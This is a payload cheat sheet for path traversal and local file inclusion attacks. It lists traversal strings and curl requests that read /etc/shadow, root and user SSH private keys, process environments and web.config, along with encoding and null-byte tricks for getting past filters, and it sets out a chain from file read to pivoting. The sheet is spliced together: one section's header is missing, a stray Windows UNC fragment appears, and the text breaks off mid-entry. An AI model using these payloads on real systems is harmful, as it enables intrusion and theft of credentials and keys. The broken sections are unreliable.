## S01: Basic ../../etc/passwd
**Context:** Any file parameter that gets used in include/read
**Seen in:** Real — every engagement
**Impact:** File read, often escalates to RCE

### Detection
```bash
# Common params:
?file=test.txt
?page=test.html
?include=test.php
?template=test.tpl
?path=test
?url=test
?lang=en
?locale=en_US
# Test traversal:
?file=../../../../etc/passwd
?page=../../../../etc/passwd
?include=../../../../etc/passwd
# Limit: how many ../ can you go?
# Linux: ../../../../etc/passwd (4-6 levels)
# Windows: ..\..\..\..\..\..\windows\win.ini
```

### Exploit
```bash
# Linux:
?file=../../../../etc/passwd
?file=../../../../etc/hostname
?file=../../../../etc/shadow  # if read access
?file=../../../../proc/self/environ  # → RCE chain
?file=../../../../root/.ssh/id_rsa
?file=../../../../home/user/.ssh/id_rsa

# Windows:
?file=..\..\..\..\..\..\windows\win.ini
?file=..\..\..\..\..\..\boot.ini
?file=..\..\..\..\..\..\inetpub\wwwroot\web.config
```

### Chain
1. Find LFI
2. Read /etc/passwd, /etc/hostname → confirm
3. Try /proc/self/environ → see if RCE
4. Read SSH keys
5. Read application configs (DB, AWS)
6. Pivot

### Bypass / Notes
- Filter ".." → use URL encoding, double encoding
- Whitelist → find bypass
- Always try multiple encoding variants

---

## S02: URL-encoded traversal
**Context:** Apps filter "../" but not encoded versions
**Seen in:** Real — common bypass
**Impact:** Bypass filter → file read

### Detection
```bash
# URL encode: %2e%2e%2f
?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
# Double URL encode: %252e%252e%252f
?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
```

### Exploit
```bash
# Single URL encoding:
curl "http://target.com/file?name=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

# Double URL encoding:
curl "http://target.com/file?name=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"

# Mixed encoding:
curl "http://target.com/file?name=..%252f..%252f..%252fetc%252fpasswd"
```

### Chain
1. Basic traversal blocked
2. Try URL encoding
3. Try double encoding
4. Try mixed encoding
5. Confirm with /etc/passwd

### Bypass / Notes
- Some WAFs decode once, some decode twice

# Unicode: %c0%ae (overlong UTF-8)
?file=..%c0%af..%c0%af..%c0%afetc/passwd
# UTF-8: %ef%bc%8f (fullwidth solidus)
?file=..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd
```

### Exploit
```bash
# Overlong UTF-8:
curl "http://target.com/file?name=..%c0%af..%c0%af..%c0%afetc/passwd"

# Fullwidth slash:
curl "http://target.com/file?name=..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd"

# Mixed Unicode:
curl "http://target.com/file?name=%c0%ae%c0%ae%ef%bc%8fetc%ef%bc%8fpasswd"
```

### Chain
1. ASCII traversal blocked
2. Try Unicode variants
3. Confirm with file read
4. Escalate

### Bypass / Notes

---

## S04: Null byte bypass
**Context:** Apps check file extension but null byte truncates
**Seen in:** Real — PHP < 5.3.4
**Impact:** Bypass extension check → arbitrary file read

### Detection
```bash
# Null byte: %00
?file=../../../etc/passwd%00.png
?file=../../../etc/passwd%00.jpg
?file=../../../etc/passwd%00.txt
```

### Exploit
```bash
# PHP null byte:
curl "http://target.com/file?name=../../../etc/passwd%00.png"

# Encoded null byte:
curl "http://target.com/file?name=../../../etc/passwd%2500.png"

# Multiple null bytes:
curl "http://target.com/file?name=../../../etc/passwd%00%00%00.png"
```

### Chain
1. App requires .png/.jpg extension
2. Add null byte after target file
3. App sees .png but reads /etc/passwd
4. Confirm

### Bypass / Notes
- PHP < 5.3.4 vulnerable
- Modern PHP fixed but still in legacy apps

?file=\\localhost\c$\inetpub\wwwroot\web.config
```

### Exploit
```bash
# Basic Windows traversal:
curl "http://target.com/file?name=..\..\..\..\windows\win.ini"

# UNC path (if app resolves):
curl "http://target.com/file?name=\\127.0.0.1\c$\windows\win.ini"

# Encoded backslash:
curl "http://target.com/file?name=..%5c..%5c..%5cwindows%5cwin.ini"
```

### Chain
